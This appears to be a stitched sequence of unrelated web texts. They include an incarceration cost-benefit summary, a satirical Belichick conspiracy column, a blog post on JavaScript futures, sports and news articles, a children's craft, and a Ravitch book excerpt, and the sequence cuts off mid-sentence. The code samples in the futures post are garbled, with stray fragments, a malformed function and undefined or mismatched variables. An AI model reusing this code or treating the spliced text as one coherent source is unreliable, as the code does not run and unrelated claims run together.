incarceration’s “before” effect is mild or zero while the “after” typically cancels out the “during.”  Since my conclusion is uncertain and may be biased—or may at least look that way—I also develop a devil’s-advocate position. From the evidence gathered here, how could one most persuasively contend that decarceration would endanger the public? I think the strongest argument would discard as biased my critical reanalysis of the two studies finding mild deterrence (item 1). It would then invoke the minority of aftereffects studies that contradict item 3 above, notably the Ilyana Kuziemko and Peter Ganong papers finding harmful aftereffects in Georgia (setting aside my critical reanalyses of those as well). Then, incarceration would be seen as reducing crime before, during, and after.  This table summarizes the two views on the marginal impact of decarceration on crime outside prison in the U.S. today:  My best synthesis of the evidence Devil’s-advocate view Deterrence 0 + (mild) Incapacitation + + Aftereffects – + Total 0 + Note: “mild” = elasticity of –0.1.  If the devil’s advocate is right that putting fewer people in prison causes more crime outside of prison, the increase might still be small enough that most people would view the tradeoff as worthwhile. After all, decarceration saves taxpayers money, increases the liberty of and economic productivity of erstwhile prisoners, and reduces disruption of their families and communities. To explore this possible trade-off, the report closes with a cost-benefit analysis.  Overall, I estimate the societal benefit of decarceration at $92,000 per person-year of averted confinement. That figure is dominated by taxpayer savings and the money value of gained liberty. The crime increase perceived by the devil’s advocate translates into $22,000–$92,000, depending on the method used to express crime’s harm in dollars. I argue that the methodology behind the high end of that range is less reliable. It works from surveys that asked people how much they would pay for a 10% crime cut, even though most Americans do not know how much crime occurs near them, thus what it would mean to cut it 10%. But if we accept the high figure, then in the worst-case valuation of the worst-case scenario plausibly rooted in the evidence, decarceration is about break-even. Given the great uncertainties in that calculation—about the crime impact of decarceration, the money value of crime victimization, the value of liberty—the precision in the worst-case assessment ($92,000 in costs, $92,000 in benefits) is an illusion. The worst case should be viewed as roughly break-even.  This spreadsheet contains a big table that lists all studies I reviewed, what the studies find, and what I take away from them. A separate tab holds the cost-benefit analysis, which you can modify. In the next three posts, I’ll go into more depth on the research on deterrence, incapacitation, and aftereffects.  Code and data for all replications are here (800 MB). The cost-benefit spreadsheet is here.  Note  [1] Among the five studies—Green and Winik (2010), Loeffler (2013), Nagin and Snodgrass (2013), Mueller-Smith (2015), and Roach and Schanzenbach (2015)—only the last dissents. It is also the one where the quality of the quasi-experiment is least certain.
-"He has said the case against him was retaliation for his political activism, including his memorializing the thousands of children who died in schools that collapsed during a 2008 earthquake in Sichuan Province.  "He said on Wednesday that the authorities had given him no indication of why he had received his passport now. 'I only can say why not? They have promised for the past four years to give it back. Now finally they gave it to me,' he said in a telephone interview. 'They always say it's in the process but I just need to be patient.'  "The confiscation of his passport meant that Mr. Ai was forced to organize his overseas exhibitions remotely, including shows at the Hirshhorn Museum and Sculpture Garden, part of the Smithsonian Institution in Washington, and at Alcatraz, the former prison in San Francisco Bay."
-Bill Belichick dodged a bullet with Spygate. But what if Spygate was all a diversion for a far more nefarious plot? A plot in which the behooded coach is sending his associates across the country to destroy all those who have ever wronged him.  I investigated Belichick's scheme. And I think what I found will shock you.  Target: New York Jets  Bill Belichick does not like the New York Jets. This much you must know. The Jets originally gave him the head-coaching job in 1997, but then pulled it out from under him when they were able to pry Bill Parcells from New England, busting Belichick back to assistant. As an assistant under Parcells, Belichick's contract gave him the Jets' head-coaching job if Parcells resigned. Parcells did just that in 1999 -- unexpectedly -- so he could step into the Jets' front office ... and lock his talented assistant into the job before he had any opportunity to interview elsewhere (namely, New England).  Or at least that's how I interpret the history.  Now, here is where things get interesting: Belichick did not take kindly to Parcells' attempt to manipulate his career. So he humiliated the Jets. At the press conference to announce him as the new head coach of the Jets ... he quit as head coach of the Jets. Well-played.  Then he took the head job with the Patriots, even though he was still under contract with the Jets. The Patriots were forced to give the Jets a first-round pick as compensation; Belichick allowed this so the Jets would think they had the upper hand.  Then he waited. Baited.  His first season in New England, the Patriots went 5-11. Meanwhile, the Jets -- coached by Al Groh -- were 9-7 and beat the Patriots twice by a combined score of 54-36.  The trap was set. And Belichick commenced humiliating the Jets on the field. From 2001 to 2004, the Patriots finished with the best record in the AFC East every season and won three Super Bowls. Meanwhile, the Jets went a mediocre 35-29 and had three forgettable playoff exits.  But something inside Belichick (a jet-black soul and a hankering for evil, perhaps) told him that was not enough, that the Jets had not suffered enough for what they had done to him. So he pulled his young defensive assistant, Eric Mangini, aside after the 2005 season and convinced him to join his plot to destroy the Jets. Only this time ... from within.  This is how I imagine the conversation may have gone.  Belichick: "Eric, speak with me." (Belichick says this while stroking a hairless cat in a gray hoodie and sitting in a throne in his volcano-top lair.)  Mangini: "Yes, master."  Belichick: "I want you to take the Jets head-coaching job and destroy them from the inside, piece by piece until there is nothing left. But to throw people off the scent, we will pretend we dislike each other. Also, your first season will be a great success. Then, the destruction will begin."  Mangini: "Yes, master. Yes."  They both laugh maniacally. (Although Belichick's laugh is far more maniacal.)  Target: Cleveland Browns  Here's the thing: Mangini's mission was not the first such attack on another franchise. There are so many moving parts to Belichick's scheme, and a true evil mastermind doesn't let anyone else in on the reach of the plan.  Belichick's first such dispatch was in 2005 after the Patriots won their third Super Bowl. He sent Romeo Crennel -- quiet, unassuming, lumpy Romeo Crennel: the perfect Trojan horse -- to Cleveland to destroy the Browns. The Browns, the TEAM THAT HAD DARED TO FIRE BILL BELICHICK! In fact, while Belichick gave much time and attention to destroying the Jets, he hates the Browns far more. It was his dismissal in Cleveland in 1995 after five years on the job that caused that switch inside him to flip. That caused him to come over to the dark side from the darkish-gray side.  You know, or at least that's the way I interpret it.  Anyway, that's exactly how it went down. And Crennel destroyed the Browns as thoroughly as Belichick had asked, going 24-40 in four seasons at the helm and sometimes even losing to the Bengals. The Bengals! Well-played, again.  And then, after Cleveland finally could take no more Crennel, Belichick went in with a perfectly timed finishing move: Eric Mangini.  Game, set, match.  Target: Notre Dame  Do not think Belichick's revenge scheme is limited only to the professional ranks. Not at all. He can get to someone who has wronged him anywhere and at any time.  This is what caused him to send Charlie Weis to destroy Notre Dame in what is perhaps Belichick's finest bit of sabotage.  You see, Bill Belichick's father was a scout and coach for Navy from 1956 to 1989. Over his final 26 years at Navy, the Midshipmen didn't beat Notre Dame. Not once. Total humiliation.  But then Belichick dispatches his trusted assistant Charlie Weis to South Bend and two short years later ... Navy 46, Notre Dame 44.  Perfectly executed.  Target: Denver Broncos  While Belichick was executing his master plan across the country, he got too extended and let things fall apart at home. The Patriots dynasty ended. Their Waterloo? Denver, January 2006. Seeking a fourth Super Bowl title in five years, the Patriots suffered a humiliating defeat to the Broncos in the playoffs. It was over.  But Belichick's thirst for revenge was not.  So this year he sent Josh McDaniels out to Colorado to destroy the Broncos as payback. And the eager, young lieutenant got right to work, ridding Denver of its franchise quarterback with stunning alacrity. In fact, McDaniels is working so quickly and effectively, he is liable to tip people off to what is really going on.  This is not Mangini starting strong with the Jets in 2006 as a diversion. McDaniels is going right to work. I mean, really. There might be nothing left of the Broncos by Week 1. Is McDaniels too young and inexperienced for the job? Or is Belichick just getting impatient and sloppy?  Target: Kansas City  Evidence that it might be the latter: Belichick has now dispatched his first player, Matt Cassel, to take down another franchise.  As you'll recall, Cassel had not started a football game since high school before Week 2 of last season. And then he played well only against the poorest teams on New England's schedule, repeatedly getting bailed out by the likes of Randy Moss and Wes Welker.  And why was it that this inexperienced, flawed quarterback got to play for such a talented team in the first place? Because Tom Brady got hurt. And what team hurt Tom Brady? Exactly. Kansas City.  Duh-duh-DUMMMMM.  It's all so obvious now.  Or at least it is to me.  DJ Gallo is the founder and sole writer of the sports satire site SportsPickle.com. He also is a regular contributor to ESPN The Magazine and has written for The Onion and Cracked. His first book, "SportsPickle Presents: The View from the Upper Deck," is on sale now.
-Motivation  Last week we were discussing, among many other things, ways to speed up Firefox during startup. One obvious option was to move more of our I/O off of the main thread. This in turn involves making more code asynchronous, and asynchronous code is simply harder to manage. Mike Shaver mentioned something about "futures" as a possible way to handle the extra complexity, and then the discussion moved on to something else.  What exactly is a future anyway?  I'm not exactly an expert, but I've not just used futures, I've written my own implementations in JavaScript and even Object Pascal (in hindsight I'm not sure the latter was a good idea, but it was certainly an interesting exercise). Futures seem esoteric, but they really shouldn't be -- the idea is really quite simple. In this post I'll try to explain what futures are and how they can be used to make asynchronous programming easier.  In the simplest form, a future works like an IOU. I can't give you the money you've asked for right now, but I can give you this IOU. At some point in the future, you can give me the IOU and I'll give you the money -- if I have it. If I don't have it yet, then you can wait until I do. I get paid on Friday.  Alternatively there's the dry cleaner metaphor. You drop your clothes off on Monday and the clerk gives you a ticket that you can use later to reclaim your clothes after they've been cleaned. The clothes will be ready on Tuesday morning, but if you show up too early, you'll have to wait. On the other hand, if there's no hurry, you can just do other stuff on Tuesday and show up on Wednesday with a reasonable expectation that they'll be ready when you arrive. You'll just hand your ticket over, collect your clothes, and be on your way.  A future is similar to the IOU (or the dry cleaning ticket). It gives you a way to represent the result of a computation that has not yet completed, and it allows you to access that result once it becomes available. So you can call a function which starts some asynchronous process but doesn't wait for it to finish. Nevertheless the function can return you a useful result: a future which can be used to claim the real result later.  A simple example  Of course if you ask for the result too soon, you'll have to wait. On the other hand, if the result becomes available before you want it, then it will wait for you.  Here's an example of what this might look like in pseudo-JavaScript:  function doStuff() {  var cleanClothesFuture = dryCleaner.dropOff(dirtyClothes);  runErrands();  work();  eat();  watchTv();  sleep();  var cleanClothes = cleanClothesFuture.get(); // block if the result is not ready yet  }  Compare this to the traditional way we'd handled this in JavaScript, using a callback:  var cleanClothes = null;  function doStuff() {  dryCleaner.dropOff(dirtyClothes, function (clothes) { cleanClothes = clothes; });  runErrands();  work();  eat();  watchTv();  sleep();  }  A more complicated example  These examples are not one hundred percent semantically identical, but they should be close enough to illustrate the point. I contend that the first function is easier to write, easier to read, and easier to reason about. I also contend that the difference isn't enough to get excited about. It's when things get more complicated that futures become really useful.  Imagine that I have a web page that sends an AJAX request to a server and then displays the results in an IFRAME -- and furthermore does it automatically on page load. I have to wait for both the AJAX request to return data and for the IFRAME to finish loading -- only then can I display the results. This can be done fairly simply using callbacks:  function showData(dataUrl, iframeUrl) {  var data = null;  var iframeBody = null;  tryToShowData  { if (data && iframeBody) { showDataInIframe(data, iframeBody); } }  requestDataFromServer(dataUrl, function (response) {data = response.data; tryToShowData() });  insertIframeBody(iframeUrl, function (iframeDoc) {iframeBody = iframeDoc.body; tryToShowData() });  }  Now, imagine the same thing done with futures:  function showData(dataUrl, iframeUrl) {var dataFuture = requestDataFromServer(dataUrl);var iframeBodyFuture = insertIframeBody(iframeUrl);showDataInIframe(dataFuture.get(), iframeBodyFuture.get());  callAsap  callAsap()  Again, these two examples are not semantically equivalent -- notably there's no blocking in the first example. Now let's imagine that we had a way to turn an ordinary function into a new function which takes futures as arguments and which returns a future in turn. As soon as all the future arguments became available, the base function would be called automatically -- and once the base function completed, its result would be accessible through the future returned earlier. I'll call this capability "": call a function as soon as possible after all of its future arguments become available. Using, the previous example might be rewritten as:  function showData(dataUrl, iframeUrl) {  var dataFuture = requestDataFromServer(dataUrl);  var iframeBodyFuture = insertIframeBody(iframeUrl);  showDataInIframe.callAsap(dataFuture, iframeBodyFuture);  }  showDataInFrame  callAsap()  In this case we don't care about the return value for. This example is much closer in behavior to the earlier callback-based example. In fact, themethod would be implemented with callbacks underneath, but they would all be nicely abstracted away under the hood.  callAsap()  One of the nice things aboutis that it can nicely handle cases where you are waiting on more than one future. Imagine that you've asynchronously requested data from two different servers:  function showData(dataUrl1, dataUrl2, iframeUrl) {  var dataFuture1 = requestDataFromServer(dataUrl1);  var dataFuture2 = requestDataFromServer(dataUrl2);  showDataInIframe.callAsap(dataFuture1, dataFuture2, iframeBodyFuture);  }  Arrays of futures  This segues nicely into the next topic: Arrays of futures.  Imagine if you have not one, or two, or three futures, but rather an arbitrary number of futures. What we'd really like to have is a way to take an array of futures and produce from it a single future for an array of concrete values. Something like:  function showData(dataUrlArray, iframeUrls) {  // The "dataFutureArray" is a concrete array of futures.  var dataFutureArray = requestDataFromServers(dataUrlArray);  // The "dataArrayFuture" is a future for a concrete array of concrete values.  Future.createArrayFuture(dataFutureArray);  showDataInIframe.callAsap(dataArrayFuture, iframeBodyFuture);  }  var dataArrayFuture =  An advanced example  What this example might look like rewritten in callback style is left as an exercise to the reader.  OK, now for a more elaborate example. Imagine a function which retrieves the first page of Google search results for a particular query, and then goes through and re-orders the results based on its own ranking system. Furthermore, imagine that this ranking is computed based on the contents of each web page. We'll need to to make requests to many different servers for many different web pages. This will be fastest if we issue all the requests at once.  function search(query) {  // Take a concrete search result and return a future to a  // [searchResult, ranking] pair.  function requestWebPageAndRanking(searchResult) {  var webPageFuture = requestWebPage(searchResult.url);  var rankingFuture = computeRankingFromContent.callAsap(webPageFuture);  return Future.createArrayFuture([webPageFuture, relevanceFuture]);  }  // Take a concrete array of search results and return a future to  // an array of [searchResult, ranking] pairs, sorted by ranking.  function requestSearchResultsSortedByRanking(searchResultArray) {  var  rankingArrayFuture  =  Future.createArrayFuture(  [requestWebPageAndRanking(searchResult) for (searchResult in searchResultArray)]  );  return sortArraysByKeyIndex.callAsap(  rankingArrayFuture  , 1);  }  // Request search results, re-rank them, and then display them.  var searchResultArrayFuture = requestGoogleResults(query);  var  sortedRankingArrayFuture =  requestSearchResultsSortedByRanking  .callAsap(searchResultArrayFuture);  showSearchResults  .callAsap(sortedRankingArrayFuture);  }  In all fairness, this is not as simple as a synchronous blocking implementation. Keeping your arrays of futures and futures of arrays straight is a little bit taxing. Imagine what a callback model might look like, however, with callbacks inside callbacks. One advantage of using futures is that you can often write traditional blocking code and then in straightforward fashion translate that code into asynchronous code using futures.  Notes, in no particular order
-Martin Rose/Getty Images  During his nearly five years as manager of the United States national soccer team, Bob Bradley has been an extremely controversial figure.  Controversy has swirled around Bradley for reasons such as making some questionable national team selections, along with certain key players such as Jozy Altidore being unable to score at the World Cup.  Bradley has had some great moments as manager of the national team, such as winning the 2007 Gold Cup, reaching the 2009 Confederations Cup final and finishing first in Group C in the 2010 World Cup, among other things.  But after falling out of the 2010 World Cup to Ghana, Bradley's time as manager appeared to be up when US Soccer president Sunil Gulati ripped Bradley for his job in South Africa, saying, "I think the team's capable of more. I think the players know it. I think Bob knows it. And so at that level we're disappointed we didn't get to play another 90 minutes at least."  However, Bradley was retained as manager with a new four-year contract last August, and American fans continued to question exactly why was Bradley staying.  There were points such as the case of the retainment of former US manager Bruce Arena after he led the US to the 2002 World Cup quarterfinals. Arena then led the US out of the World Cup in the 2006 World Cup group stage, leading to his dismissal.  Another interesting point against Bradley staying on as manager was that out of the 48 times that a manager returned to a national team to lead that nation to a World Cup, 25 of them fared worse in their second time around in the World Cup.  There was also a push to get former German coach Jurgen Klinsmann to become the coach after he declined the offer to manage the US in 2006.  However, preliminary talks between the two did not get very far, which allowed Bradley to stay on.  Since Bradley signed his new contract, the US have only won one match (against South Africa last November), drawn four matches and lost once.  In these matches, the US have failed to impress like they did against some similar opponents during Bradley's first term, such as wins over Mexico and at Honduras in World Cup qualifying, the win over Spain in the Confederations Cup and the great performance put up in last year's World Cup.  But in this year's Gold Cup, the United States will be expected to perform like they did in some of the most important matches of the first half of Bradley's regime.  This Gold Cup squad will contain many of the players that the US used in their earlier tournaments under Bradley, along with some young players that have impressed in recent friendlies.  The US will have players such as Tim Howard, Landon Donovan and Clint Dempsey playing for them throughout the tournament and will certainly look to take back the Gold Cup that Mexico took from them in 2009.  To add even more pressure on Bradley, if the United States fails to win the 2011 Gold Cup, they will not be able to participate in the 2013 Confederations Cup in Brazil.  After the United States was able to stun Spain to reach their first FIFA final in the 2009 Confederations Cup, there was an unprecedented buzz in the US for the national team, which translated into a massive attendance increase in the 2009 Gold Cup.  The success in the Confederations Cup was definitely a massive reason why Bradley was able to keep his position as US coach.  However, with the recent 4-0 thrashing given to them by the Spanish national team, there will be more pressure on Bradley and the US team to win this Gold Cup.  The questions such as the inclusion of Freddy Adu on this year's Gold Cup roster and why Jozy Altidore seems unable to score will certainly cause negative press for US Soccer, something that it can ill-afford.  For US Soccer, this is their best chance until World Cup qualification begins to make a big splash in the American media and can garner more fan interest. But a failure to win the Gold Cup will only hurt US Soccer's development.  That is something that Gulati knows all too well, and he knows that the US must win this Gold Cup.  If the United States fail to win the Gold Cup to secure participation in the Confederations Cup, Bradley will get the pink slip from Gulati, and we could see someone such as Klinsmann take over before World Cup qualification begins.  However, Bradley will probably keep his job if he wins the Gold Cup this year. Going forward, Bradley will only be fired if the United States has a terrible qualifying campaign for the 2014 World Cup, but that is extremely unlikely.
-Mother’s Day is right around the corner and kids always love making something extra-special to show their moms how much they love them. This simple craft is easy to assemble and it makes a great gift!  What You’ll Need:  For one flower photo frame:  1 5x7 piece of stretched canvas  1 5x7 piece of blue cardstock paper  1 5x2 piece of patterned green cardstock paper  1 piece of green craft foam  2 cupcake liners (design of your choice)  a picture of your child  glue  scissors  How To Make It  1. Lay down the piece of canvas. Glue the 5x7 sheet of blue cardstock paper to the piece of canvas. Then take the 5x2 piece of patterned green cardstock paper and glue it to the bottom of the canvas, covering the blue at the bottom.  2. Using scissors, cut a flower stem and two petals out of the green craft foam. Glue the stem and petals to the canvas.  You'll Also Love: Silly Embellished Portaits Project  3. Leave one cupcake liner as is and turn the other liner inside out. Glue the inside out liner inside the regular liner. This way, both the outside and the inside of the flower will show the patterned design of the cupcake liner.  4. Glue the cupcake liner to the top of the craft foam flower stem.  5. Cut the photo of your child into a circle the size of the cupcake liner base. Glue the photo in the centre of the liner. Allow to dry completely.  These flower frames are a super-special craft for kids to make. They'll make a great keepsake for years to come. Enjoy!
-Forget paid apps; there were some countries in which Android users couldn’t get any apps from the Android Market because it wasn’t yet available to them. There are now several countries – almost twice as many – that are able to go through the Android Market and find the best apps.  Google recently expanded Market support to a total of 46 countries, up from the 25 nations previously supported. Among the new countries are Brazil, Israel, and Thailand, countries that have had Android phones for some time without the primary source of getting apps. Users in these nations no longer have to rely on alternative markets to get apps.  In recent weeks, Google expanded paid apps support to Canadian users, and Australian carrier Optus finally opened up its market to paid apps. Surprisingly, Google still hasn’t expanded the list of countries permitted to sell apps (9) to match the number of countries able to purchase them (13).  Here’s the complete list of countries that should be able to access the Android Market.  Argentina  Australia  Austria  Belgium  Brazil  Bulgaria  Canada  Croatia  Czech Republic  Denmark  Estonia  Finland  France  Germany  Greece  Hong Kong  Ireland  Israel  Italy  Japan  Kazakhstan  Latvia  Lithuania  Luxembourg  Mexico  Netherlands  New Zealand  Norway  Philippines  Poland  Portugal  Romania  Russia  Serbia  Singapore  Slovakia  Slovenia  South Africa  South Korea  Spain  Sweden  Switzerland  Taiwan  Thailand  United Kingdom  United States  [Distimo]
-Image copyright AFP Image caption The value of a 100-bolivar note has dropped to just 2 US cents on the black market  The Venezuelan government has announced it will remove the country's highest-denomination banknote from circulation within 72 hours to combat contraband.  Central bank data suggests there are more than six billion 100-bolivar notes in circulation, making up almost half of all currency.  Venezuelans will have 10 days from Wednesday to exchange the notes for coins and new, higher-value bills.  President Nicolas Maduro said the move would stop gangs hoarding the notes.  But in India, a similar move to scrap high-value bank notes last month has caused major disruption.  'Mafia hoarding'  In a surprise announcement, Mr Maduro said on Sunday that the 100-bolivar note, worth about 2 US cents (£0.015) on the black market, would be taken out of circulation on Wednesday.  The president said the aim was to tackle transnational gangs which hoard the Venezuelan notes abroad, a move he has in the past described as part of the "economic war" being waged against his government.  He said the gangs held more than 300bn bolivares worth of currency, most of it in 100-bolivar notes.  President Maduro said there were "entire warehouses full of 100-bolivar notes in the [Colombian cities of] Cucuta, Cartagena, Maicao and Buaramanga".  Border closure  He said part of the plan was to block any of the 100-bolivar notes from being taken back into the country so the gangs would be unable to exchange their hoarded bills, making them worthless.  Image copyright Twitter Image caption The governing PSUV party published photos of what it said were warehouses where bolivars were being hoarded  "I have given the orders to close all land, maritime and air possibilities so those bills taken out can't be returned and they're stuck with their fraud abroad," he said speaking on television.  Venezuela's currency has fallen dramatically amid skyrocketing inflation.  On the black market, its value dropped by 55% against the US dollar just in the past month, and the International Monetary Fund estimates that next year's prices will rise by more than 2,000%.  Gangs can therefore buy up Venezuelan banknotes cheaply on the black market in exchange for dollars or Colombian pesos.  They then use the Venezuelan currency to buy subsidised goods in Venezuela, which they in turn sell at a profit in neighbouring Colombia.  Many Venezuelans living near the border buy Colombian pesos to purchase goods in Colombia which they cannot get in Venezuela due to chronic shortages.  Cash crunch?  President Maduro blames both the shortages and Venezuela's record inflation on "imperialist forces" he says are trying to bring down his government.  Image copyright EPA Image caption President Maduro made the surprise announcement during his weekly TV show  He said the aim of these "forces" was "to destabilise out economy and our society, to leave the country without 100-bolivar notes".  Analysts say the move is likely to worsen the cash crunch in Venezuela, where people have already been limited in the amount of cash they can take out at automated teller machines.  Venezuelans have only been given 10 days to exchange their 100-bolivar notes for new coins and bills ranging from 500 to 20,000 bolivars due to be introduced from 15 December.  Critics of Mr Maduro have predicted chaos and doubt that the facilities will be in place for people to exchange all their 100-bolivar notes.  "When ineptitude governs! Who would possibly think of doing something like this in December amid all our problems?" opposition leader Henrique Capriles wrote on Twitter (in Spanish).
-Unless a Canadian court decides otherwise, the ski jumper with the longest flight on record at Vancouver's Olympic facility will not attend the winter Games in February.  She is not allowed to compete.  Olympic ski jumping is a men's-only domain. Since the first winter Games in 1924, men have been swooping down snowy ramps at 55 m.p.h. and springing into flight – human rockets hurtling chin-first, hands thrown behind, and skis angled forward. With nothing but speed and their skis to aid them, they fly the length of a football field or farther – a feat of technical genius disguised in balletic grace.  But women can do it, too – the best often flying as far as men.  With women now included in such formerly all-male Olympic events as boxing, wrestling, bobsleigh, and luge, the last Olympic door closed to women is ski jumping.  But American ski jumper Lindsey Van – who set the record on the 90-meter jump when the Olympic venue opened in Vancouver, British Columbia, last year and is the reigning world champion – hasn't given up on prying that door open. It's a logical step for the 24-year-old, who, since age 7, has been soaring over Earth's mundane limits on what is possible.  She and more than a dozen other women jumpers from Slovenia to Norway hope to legally force the addition of women's jumping before the Games open Feb. 12. Their lawsuit against the Vancouver Organizing Committee (VANOC) contends that not allowing women to jump for gold is a form of discrimination under Canadian laws that prohibit gender discrimination in government activities.  A Canadian judge, last summer, agreed: It is discrimination.  But her ruling concluded that while VANOC is subject to those antidiscrimination laws, it can't control the events – that's the domain of the International Olympic Committee (IOC). The IOC voted in 2006 against including women's ski jumping in 2010 because it deemed there weren't enough high-level women to create competition worthy of the Olympics. Because the IOC isn't bound by Canadian law, the judge ruled, Canada is powerless to change the program.  So the jumpers' appeal asks Canada to refuse to hold the men's event unless both genders can compete.  When the appeal is heard Nov. 12 and 13, it will highlight not just women's battle to wipe out the last vestige of an old-boys-club Olympic culture, but also competing demands on the Olympic ideal:  •Allowing athletes to pursue success on the most visible world stage.  •Broadening the appeal of the Games among Gen-Xers interested in more extreme sports while keeping costs manageable.  •Satisfying TV, a key sponsor.  "IT'S A TEXTBOOK CASE OF DISCRIMINATION," says Anita DeFrantz, chair of the IOC's Women and Sports Commission. "This group of athletes is being told that they're not good enough, that there aren't enough women in the top level.... That's never been an issue before."  The IOC defends its position as preservation of the Olympic standard, saying the top women jumpers don't deserve the same gold that is awarded to figure skaters and alpine skiers who have risen to the top of far larger fields.  But the IOC's recent record of admitting both women's events (see chart) and disciplines with weak fields – such as bobsleigh and ski cross – suggests the issue is not as clear-cut as either side asserts.  More than 80 years after men's ski jumping debuted as one of six original Olympic sports, the International Ski Federation (FIS) – which stages ski events at the Olympics – voted in 2006 to recommend women's jumping for inclusion in the 2010 Games. The federation endorsed women's ski cross over ski jumping. Neither sport fully met the IOC criteria for inclusion. The IOC only approved ski cross, which had the required two world championships but less than half as many elite women as ski jumping. Men's ski jumping doesn't meet the criteria either, but was grandfathered in. Compounding suspicions of gender discrimination was the fact that FIS president Gian Franco Kasper told National Public Radio in 2005 that jumping was too dangerous for women, that it "seems to be not appropriate for the ladies from a medical point of view."  But Walter Sieber, a Canadian member of the IOC division that recommended not to include women's ski jumping in the 2010 Games, denies that the decision had anything to do with gender – pointing to the IOC's decision this year to include women's boxing as evidence of the IOC's true colors.  While he admits that the top women jumpers are very competitive, he maintains that there aren't enough competitors at that level to warrant an Olympic sport.  The 2009 World Championships results support that view: The women's field of 36 had a 20-point gap between top competitors and weaker ones, while the men's field of 50 competitors finished closer together.  THE BOTTOM LINE, claim both those alleging and denying sex discrimination, is the hard fact that the multibillion-dollar Olympic machine is subject to the rising pressure of commercialism.  "What matters to the IOC is: Will the event sell tickets, will it sell TV time, is it popular?" asserts Jacqueline Hansen, a runner who was a member of the lobby that won a place for the women's marathon in the 1984 Olympics.  Since then, the sway of TV has become so great that Michael Phelps swam at 6 a.m. in Beijing – prime time in the US. TV may well have played into the IOC's decision to approve women's ski cross events for the 2010 games. A sort of motocross on snow, the sport is a variation on snowboard cross – an event introduced in the 2006 Torino Games that was a hit with NBC, which paid $1.5 billion for TV rights there and in Beijing.  Olympic officials do consider TV appeal in deciding on sports, confirms Mr. Sieber. In the era of IOC president Juan Antonio Samaranch, in the 1990s, he says, the emphasis was "to have many sports involved," but the expanding Games became unwieldy for organizers. In the current era, the bar for new events is higher – they must be "good for TV" and "an addition that enhances the program."  AMERICAN SKI JUMPER JESSICA JEROME, fresh from winning the US Nationals in Lake Placid, N.Y., last month, says she understands the commercial pressures on the IOC: "The Olympics for so long has been what Mom and Dad sit down to watch while the kids are out skateboarding or snowboarding – doing these things that are radical and rebellious."  But while she acknowledges that X-Games sports will increase viewership and revenue – benefiting all Olympic sports, ski jumping is no less daring. "I think it's one of the most ex-treme sports ... it's got that dangerous element, but it's also got that beautiful, elegant thing to it," she says.  BUT WHILE THE WOMEN jumpers recognize the need to grow the sport, they say they face discrimination at every level – a point supported by a 2009 book by Western European sports scholars, "Sport and Gender Matters in Western Countries."  "Barred from serious competition for decades because jumping was not deemed appropriate for females, women ski jumpers have not been able to establish the appropriate experience in international level training and competition and to gain the type of 'technical merit' required...." concluded a chapter on ski jumping that also notes women were jumping as early as the 1920s.  "Jumping is a very traditional European old-men type of sport. They think that women will take away the extremeness of it," says Ms. Jerome,  Women jumpers got their first international circuit in 2004, and were allowed to compete at world championships for the first time last year. But in a sport in which the best European men are treated like rock stars and pocket roughly $10,000 per win, the women are only allowed to compete on a secondary circuit that awards winners $500. And, says Ms. Jerome, women are treated very differently. She and her teammates have eaten meals with barn cats jumping on the table and slept above livestock stalls in lodging arranged by competition organizers.  Even after Ms. Van won world championships last year, the US Ski Team – facing an 18 percent budget cut – dropped all funding for women's jumping, and men's, too.  THE BRITISH COLUMBIA Court of Appeal must now decide whether VANOC should refuse to hold men's ski jumping unless women are allowed to compete.  VANOC attorney George McIntosh argued before Judge Lauri Ann Fenlon that as host, VANOC implements, but can't control, the Olympic program. And while she ultimately found in VANOC's favor, she put his argument into stark relief when she asked Mr. McIntosh if VANOC would plead the same point if blacks weren't allowed to compete in the Vancouver Olympics. His answer, after an awkward silence, was yes.  VANOC has encouraged the IOC to include women's ski jumping, and if that happened, officials say, the Vancouver machine would be able to accommodate the women.  Without that action at the IOC level, however, no one is sure what to expect if the court upholds the women's appeal.  "It's unprecedented," says McIntosh, who half jokes that to enforce such a ruling, "[The VANOC chief] would have to be standing at the top of the jump with a bayonet." •
-Former Microsoft Chairman Bill Gates, center, speaks during a news conference to announce the Bill & Melinda Gates Foundation's donation of $51.2 million dollars to the New York City school system at Morris High School in the Bronx, New York, Wednesday, September 17, 2003. He is flanked by Joel Klein, former chancellor of the city's Department of Education and former New York City mayor Michael Bloomberg. (AP Photo/Gregory Bull)  The following is an excerpt from Diane Ravitch’s book Reign of Error.  The education reform movement must be defined in terms of its ideology, its strategies and its leading members.  The “reformers” say they want excellent education for all; they want great teachers; they want to “close the achievement gap”; they want innovation and effectiveness; they want the best of everything for everyone. They pursue these universally admired goals by privatizing education, lowering the qualifications for future teachers, replacing teachers with technology, increasing class sizes, endorsing for- profit organizations to manage schools, using carrots and sticks to motivate teachers and elevating standardized test scores as the ultimate measure of education quality.  “Reform” is really a misnomer, because the advocates for this cause seek not to reform public education but to transform it into an entrepreneurial sector of the economy. The groups and individuals that constitute today’s reform movement have appropriated the word “reform” because it has such positive connotations in American political discourse and American history. But the roots of this so- called reform movement may be traced to a radical ideology with a fundamental distrust of public education and hostility to the public sector in general.  “Reform” is really a misnomer, because the advocates for this cause seek not to reform public education but to transform it into an entrepreneurial sector of the economy.  The “reform” movement is really a “corporate reform” movement, funded to a large degree by major foundations, Wall Street hedge fund managers, entrepreneurs and the US Department of Education. The movement is determined to cut costs and maximize competition among schools and among teachers. It seeks to eliminate the geographically based system of public education as we have known it for the past 150 years and replace it with a competitive market- based system of school choice — one that includes traditional public schools, privately managed charter schools, religious schools, voucher schools, for- profit schools, virtual schools and for- profit vendors of instruction. Lacking any geographic boundaries, these schools would compete for customers. The customers would choose to send their children and their public funding wherever they wish, based on personal preference or on information such as the schools’ test scores and a letter grade conferred by the state (based largely on test scores).  Public Schools for Sale?  Some in the reform movement, believing that American education is obsolete and failing, think they are promoting a necessary but painful redesign of the nation’s ailing schools. Some sincerely believe they are helping poor black and brown children escape from failing public schools. Some think they are on the side of modernization and innovation. But others see an opportunity to make money in a large, risk- free, government- funded sector or an opportunity for personal advancement and power. Some — a small but important number — believe they are acting rationally by treating the public education sector as an investment opportunity.  The corporate reform movement has its roots in an ideology that is antagonistic to public education. Partisans on the far right long ago turned against public schools, which they call “government schools.” As a matter of ideology, they do not believe that government can do anything right. From the time that the University of Chicago economist Milton Friedman introduced the idea of vouchers in 1955, his supporters embraced vouchers as the best school reform ever, because it would enable parents to take government money to a school of their choice, including private and religious schools. Voucher advocates have long argued that the money should follow the child to whatever institution the family chooses, be it public, private or religious. For years, they made the seductive pitch that parents should be “free to choose” (as Friedman put it) and that government should supply each family its share of the money and get out of the way. But for many years after the Brown v. Board of Education decision of 1954, the idea of school choice was tainted because segregationists used it to evade desegregation in districts facing court- ordered desegregation.  The election 